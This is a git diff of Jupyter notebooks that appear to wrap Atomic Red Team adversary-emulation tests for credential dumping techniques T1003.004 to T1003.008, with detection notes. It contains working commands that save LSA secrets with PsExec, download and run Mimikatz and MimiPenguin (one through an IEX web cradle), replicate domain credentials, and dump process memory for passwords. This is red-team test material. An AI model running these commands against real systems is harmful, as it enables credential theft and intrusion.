Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)" }, { "cell_type": "markdown", - "id": "e651f415", + "id": "018ce097", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c487a028", + "id": "aefdd148", "metadata": {}, - "source": "### Atomic Test #1 - Dumping LSA Secrets\nDump secrets key from Windows registry\nWhen successful, the dumped file will be written to $env:Temp\\secrets.\nAttackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information.\nhttps://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PsExec from Sysinternals must exist on disk at specified location (#{psexec_exe})\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1003.004\\bin\\PsExec.exe) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PSTools.zip\"\nExpand-Archive $env:TEMP\\PSTools.zip $env:TEMP\\PSTools -Force\nNew-Item -ItemType Directory (Split-Path PathToAtomicsFolder\\T1003.004\\bin\\PsExec.exe) -Force | Out-Null\nCopy-Item $env:TEMP\\PSTools\\PsExec.exe PathToAtomicsFolder\\T1003.004\\bin\\PsExec.exe -Force\n```" + "source": "### Atomic Test #1 - Dumping LSA Secrets\nDump secrets key from Windows registry\nWhen successful, the dumped file will be written to $env:Temp\\secrets.\nAttackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information.\nhttps://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PsExec from Sysinternals must exist on disk at specified location (#{psexec_exe})\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1003.004\\bin\\PsExec.exe\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PSTools.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\PSTools.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PSTools\" -Force\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1003.004\\bin\\PsExec.exe\") -Force | Out-Null\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\PSTools\\PsExec.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1003.004\\bin\\PsExec.exe\" -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a28007d2", + "id": "70b2e04d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "05bb68ef", + "id": "a8ad660b", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1003.004\\bin\\PsExec.exe -accepteula -s reg save HKLM\\security\\policy\\secrets %temp%\\secrets /y```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\T1003.004\\bin\\PsExec.exe\" -accepteula -s reg save HKLM\\security\\policy\\secrets %temp%\\secrets /y\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "67a217d7", + "id": "58eeb261", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "556c62e6", + "id": "27302ffb", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\secrets >nul 2> nul```" }, { "cell_type": "code", "execution_count": null, - "id": "fe60ca72", + "id": "65552d34", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "59c5d637", + "id": "da041955", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1003.005.ipynb b/playbook/tactics/credential-access/T1003.005.ipynb index 517582ed..3f278b21 100644 --- a/playbook/tactics/credential-access/T1003.005.ipynb +++ b/playbook/tactics/credential-access/T1003.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "049009a8", + "id": "f9eac6bc", "metadata": {}, "source": "# T1003.005 - Cached Domain Credentials\nAdversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nWith SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)" }, { "cell_type": "markdown", - "id": "bae0f5ac", + "id": "4c324e69", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "9d3aa926", + "id": "4b75b734", "metadata": {}, "source": [ "### Atomic Test #1 - Cached Credential Dump via Cmdkey", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "2c6191f1", + "id": "c1e7639b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "60f5210b", + "id": "a3e4372b", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well." } @@ -43,13 +43,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1003.006.ipynb b/playbook/tactics/credential-access/T1003.006.ipynb index c77ffa3e..7b5fbc8c 100644 --- a/playbook/tactics/credential-access/T1003.006.ipynb +++ b/playbook/tactics/credential-access/T1003.006.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "f3d4f2d0", + "id": "0d6ed804", "metadata": {}, "source": "# T1003.006 - DCSync\nAdversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)" }, { "cell_type": "markdown", - "id": "9fae65ce", + "id": "e565c0ca", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "acf63e50", + "id": "dd168fd7", "metadata": {}, "source": "### Atomic Test #1 - DCSync (Active Directory)\nActive Directory attack allowing retrieval of account information without accessing memory or retrieving the NTDS database.\nWorks against a remote Windows Domain Controller using the replication protocol.\nPrivileges required: domain admin or domain controller account (by default), or any other account with required rights.\n[Reference](https://adsecurity.org/?p=1729)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```cmd\n$mimikatz_path = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f095f5a3", + "id": "a503af2b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.006 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "0b165298", + "id": "2a90ce7e", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "d80fe61c", + "id": "42891816", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "6adc8cd9", + "id": "952f09a7", "metadata": {}, - "source": "### Atomic Test #2 - Run DSInternals Get-ADReplAccount\nThe following Atomic will run Get-ADReplAccount from DSInternals.\nUpon successful execution, domain and credentials will appear in stdout. \n[Reference](https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/) CrowdStrike StellerParticle.\nhttps://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: DSInternals must be installed\n\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name DSInternals -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['DSInternals']) {exit 1} else {exit 0}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name DSInternals -Scope CurrentUser -Force\n\n```" + "source": "### Atomic Test #2 - Run DSInternals Get-ADReplAccount\nThe following Atomic will run Get-ADReplAccount from DSInternals.\nUpon successful execution, domain and credentials will appear in stdout. \n[Reference](https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/) CrowdStrike StellarParticle.\nhttps://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: DSInternals must be installed\n\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name DSInternals -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['DSInternals']) {exit 1} else {exit 0}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name DSInternals -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4f0a4ca7", + "id": "972aa156", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.006 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "289a7b9e", + "id": "680bb1ac", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -69,14 +69,14 @@ { "cell_type": "code", "execution_count": null, - "id": "b0cdc2b4", + "id": "0c61d104", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "cc011bae", + "id": "2147d8dc", "metadata": {}, "source": "## Detection\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\n\nNote: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)" } @@ -84,13 +84,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1003.007.ipynb b/playbook/tactics/credential-access/T1003.007.ipynb index d8f5eadf..9e5f1404 100644 --- a/playbook/tactics/credential-access/T1003.007.ipynb +++ b/playbook/tactics/credential-access/T1003.007.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "1e789e79", + "id": "30f93587", "metadata": {}, - "source": "# T1003.007 - Proc Filesystem\nAdversaries may gather credentials from information stored in the Proc filesystem or /proc. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.\n\nThis functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts." + "source": "# T1003.007 - Proc Filesystem\nAdversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc//maps` file shows how memory is mapped within the process\u2019s virtual address space. And `/proc//mem`, exposed for debugging purposes, provides access to the process\u2019s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)\n\nWhen executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns that are indicative of credentials, such as looking for fixed strings in memory structures or cached hashes. When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located." }, { "cell_type": "markdown", - "id": "e19daef3", + "id": "89365f36", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "92377965", + "id": "c21895f1", "metadata": {}, "source": "### Atomic Test #1 - Dump individual process memory with sh (Local)\nUsing `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to\ncopy process memory to an external file so it can be searched or exfiltrated later.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Script to launch target process must exist\n\n##### Check Prereq Commands:\n```sh\ntest -f /tmp/T1003.007.sh\ngrep \"T1003.007\" /tmp/T1003.007.sh\n\n```\n##### Get Prereq Commands:\n```sh\necho '#!/bin/sh' > /tmp/T1003.007.sh\necho \"sh -c 'echo \\\"The password is T1003.007\\\" && sleep 30' &\" >> /tmp/T1003.007.sh\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "985dee8a", + "id": "ddcf1f4b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.007 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9fd1c487", + "id": "f9160a63", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -38,87 +38,132 @@ { "cell_type": "code", "execution_count": null, - "id": "ef475a44", + "id": "a1d3f72b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.007 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d6f6ce09", + "id": "31a6ac23", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f \"/tmp/T1003.007.bin\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "19929cdd", + "id": "1dbfaa88", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.007 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "5f850f34", + "id": "cb013098", "metadata": {}, - "source": "### Atomic Test #2 - Dump individual process memory with Python (Local)\nUsing `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to\ncopy a process's heap memory to an external file so it can be searched or exfiltrated later.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Script to launch target process must exist\n\n##### Check Prereq Commands:\n```sh\ntest -f /tmp/T1003.007.sh\ngrep \"T1003.007\" /tmp/T1003.007.sh\n\n```\n##### Get Prereq Commands:\n```sh\necho '#!/bin/sh' > /tmp/T1003.007.sh\necho \"sh -c 'echo \\\"The password is T1003.007\\\" && sleep 30' &\" >> /tmp/T1003.007.sh\n\n```\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```sh\n(which python || which python3 || which python2)\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Python 2.7+ or 3.4+ must be installed\"\n\n```" + "source": "### Atomic Test #2 - Dump individual process memory with sh on FreeBSD (Local)\nUsing `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to\ncopy process memory to an external file so it can be searched or exfiltrated later.\nOn FreeBSD procfs must be mounted.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Script to launch target process must exist\n\n##### Check Prereq Commands:\n```sh\ntest -f /tmp/T1003.007.sh\ngrep \"T1003.007\" /tmp/T1003.007.sh\n\n```\n##### Get Prereq Commands:\n```sh\necho '#!/bin/sh' > /tmp/T1003.007.sh\necho \"sh -c 'echo \\\"The password is T1003.007\\\" && sleep 30' &\" >> /tmp/T1003.007.sh\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f920086e", + "id": "9a1974da", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.007 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9a503e69", + "id": "15a60fbe", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nsh /tmp/T1003.007.sh\nPID=$(pgrep -n -f \"T1003.007\")\nPYTHON=$(which python || which python3 || which python2)\n$PYTHON PathToAtomicsFolder/T1003.007/src/dump_heap.py $PID /tmp/T1003.007.bin\ngrep -i \"PASS\" \"/tmp/T1003.007.bin\"\n```" + "```sh\nsh /tmp/T1003.007.sh\nPID=$(pgrep -n -f \"T1003.007\")\nMEM_START=$(head -n 5 /proc/\"${PID}\"/map | tail -1 | cut -d' ' -f1)\nMEM_STOP=$(head -n 5 /proc/\"${PID}\"/map | tail -1 | cut -d' ' -f2)\nMEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))\ndd if=/proc/\"${PID}\"/mem of=\"/tmp/T1003.007.bin\" ibs=1 skip=\"$MEM_START\" count=\"$MEM_SIZE\"\nstrings \"/tmp/T1003.007.bin\" | grep -i PASS\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "2815e39d", + "id": "531d8bfa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.007 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "4aa32b15", + "id": "3adc551f", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f \"/tmp/T1003.007.bin\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dd789948", + "id": "65e7ba90", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.007 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "52cbd3a2", + "id": "368f9756", "metadata": {}, - "source": "### Atomic Test #3 - Capture Passwords with MimiPenguin\nMimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). \nUpon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. \nSee https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. \nSee https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20various%20Linux%20distributions.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: MimiPenguin script must exist on disk at specified location (#{MimiPenguin_Location})\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/mimipenguin/mimipenguin_2.0-release/mimipenguin.sh\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\nwget -O \"/tmp/mimipenguin.tar.gz\" https://github.com/huntergregal/mimipenguin/releases/download/2.0-release/mimipenguin_2.0-release.tar.gz\nmkdir /tmp/mimipenguin\ntar -xzvf \"/tmp/mimipenguin.tar.gz\" -C /tmp/mimipenguin\n\n```\n##### Description: Strings must be installed\n\n##### Check Prereq Commands:\n```bash\nif [ -x \"$(command -v strings --version)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\nsudo apt-get -y install binutils\n\n```\n##### Description: Python2 must be installed\n\n##### Check Prereq Commands:\n```bash\nif [ -x \"$(command -v python2 --version)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\nsudo apt-get -y install python2 \n\n```\n##### Description: Libc-bin must be installed\n\n##### Check Prereq Commands:\n```bash\nif [ -x \"$(command -v ldd --version)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\nsudo apt-get -y install libc-bin \n\n```" + "source": "### Atomic Test #3 - Dump individual process memory with Python (Local)\nUsing `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to\ncopy a process's heap memory to an external file so it can be searched or exfiltrated later.\nOn FreeBSD procfs must be mounted.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Script to launch target process must exist\n\n##### Check Prereq Commands:\n```sh\ntest -f /tmp/T1003.007.sh\ngrep \"T1003.007\" /tmp/T1003.007.sh\n\n```\n##### Get Prereq Commands:\n```sh\necho '#!/bin/sh' > /tmp/T1003.007.sh\necho \"sh -c 'echo \\\"The password is T1003.007\\\" && sleep 30' &\" >> /tmp/T1003.007.sh\n\n```\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```sh\n(which python || which python3 || which python2)\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Python 2.7+ or 3.4+ must be installed\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b57ad334", + "id": "860c9abe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.007 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "12c15363", + "id": "caafe0a3", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsh /tmp/T1003.007.sh\nPID=$(pgrep -n -f \"T1003.007\")\nPYTHON=$(which python || which python3 || which python2)\n$PYTHON PathToAtomicsFolder/T1003.007/src/dump_heap.py $PID /tmp/T1003.007.bin\ngrep -i \"PASS\" \"/tmp/T1003.007.bin\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e5b29b60", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1003.007 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "8b29b5c5", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f \"/tmp/T1003.007.bin\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e33bc9fc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1003.007 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "3967d32c", + "metadata": {}, + "source": "### Atomic Test #4 - Capture Passwords with MimiPenguin\nMimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). \nUpon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. \nSee https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. \nSee https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20various%20Linux%20distributions.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: MimiPenguin script must exist on disk at specified location (#{MimiPenguin_Location})\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/mimipenguin/mimipenguin_2.0-release/mimipenguin.sh\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\nwget -O \"/tmp/mimipenguin.tar.gz\" https://github.com/huntergregal/mimipenguin/releases/download/2.0-release/mimipenguin_2.0-release.tar.gz\nmkdir /tmp/mimipenguin\ntar -xzvf \"/tmp/mimipenguin.tar.gz\" -C /tmp/mimipenguin\n\n```\n##### Description: Strings must be installed\n\n##### Check Prereq Commands:\n```bash\nif [ -x \"$(command -v strings --version)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\nsudo apt-get -y install binutils\n\n```\n##### Description: Python2 must be installed\n\n##### Check Prereq Commands:\n```bash\nif [ -x \"$(command -v python2 --version)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\nsudo apt-get -y install python2 \n\n```\n##### Description: Libc-bin must be installed\n\n##### Check Prereq Commands:\n```bash\nif [ -x \"$(command -v ldd --version)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\nsudo apt-get -y install libc-bin \n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c32f87a2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1003.007 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "52753074", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -128,28 +173,28 @@ { "cell_type": "code", "execution_count": null, - "id": "8d520700", + "id": "6dc9c9f8", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1003.007 -TestNumbers 3" + "source": "Invoke-AtomicTest T1003.007 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "8e1166f7", + "id": "f5bfeeab", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/T1003.007Test3.txt > /dev/null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ec990b72", + "id": "66828136", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1003.007 -TestNumbers 3 -Cleanup" + "source": "Invoke-AtomicTest T1003.007 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "d4350fc2", + "id": "375698c2", "metadata": {}, "source": "## Detection\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/\\*/maps, where the \\* directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs." } @@ -157,13 +202,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1003.008.ipynb b/playbook/tactics/credential-access/T1003.008.ipynb index 7b8ebefb..6cbc1a2b 100644 --- a/playbook/tactics/credential-access/T1003.008.ipynb +++ b/playbook/tactics/credential-access/T1003.008.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d129f0ab", + "id": "59786499", "metadata": {}, "source": "# T1003.008 - /etc/passwd and 